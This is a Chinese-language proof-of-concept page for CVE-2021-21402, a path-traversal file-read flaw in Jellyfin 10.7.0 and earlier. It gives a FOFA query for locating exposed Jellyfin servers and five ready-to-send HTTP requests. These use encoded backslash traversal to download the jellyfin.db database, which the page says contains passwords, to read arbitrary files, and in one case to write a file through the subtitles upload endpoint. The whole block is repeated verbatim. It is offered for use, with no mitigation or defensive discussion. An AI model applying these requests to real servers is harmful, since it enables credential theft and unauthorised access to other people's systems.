CVE-2021-21402_Jellyfin_任意文件讀取漏洞

# CVE-2021-21402 Jellyfin 任意文件讀取漏洞

jellyfin<=10.7.0

==FOFA==

title="Jellyfin"

==POC1==
從服務器下載帶有密碼的jellyfin.db

GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1
Host: x.x.x.x
accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Referer: http://x.x.x.x/web/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

==POC2==

GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1

==POC3==

GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1

==POC4==
要下載的POC c:tempfilename.jpg

GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1 
GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1

==POC5==

POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1
...
X-Emby-Authorization: MediaBrowser DeviceId="...", Version="10.7.0", Token="..."
...

{"language":".\..\","format":".\..\test.bin","isForced":false,"data":"base64 encoded data"}

jellyfin<=10.7.0

==FOFA==

title="Jellyfin"

==POC1==

從服務器下載帶有密碼的jellyfin.db

GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1
Host: x.x.x.x
accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Referer: http://x.x.x.x/web/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

==POC2==

GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1

==POC3==

GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1

==POC4==

要下載的POC c:tempfilename.jpg

GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1 
GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1

==POC5==

POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1
...
X-Emby-Authorization: MediaBrowser DeviceId="...", Version="10.7.0", Token="..."
...

{"language":".\..\","format":".\..\test.bin","isForced":false,"data":"base64 encoded data"}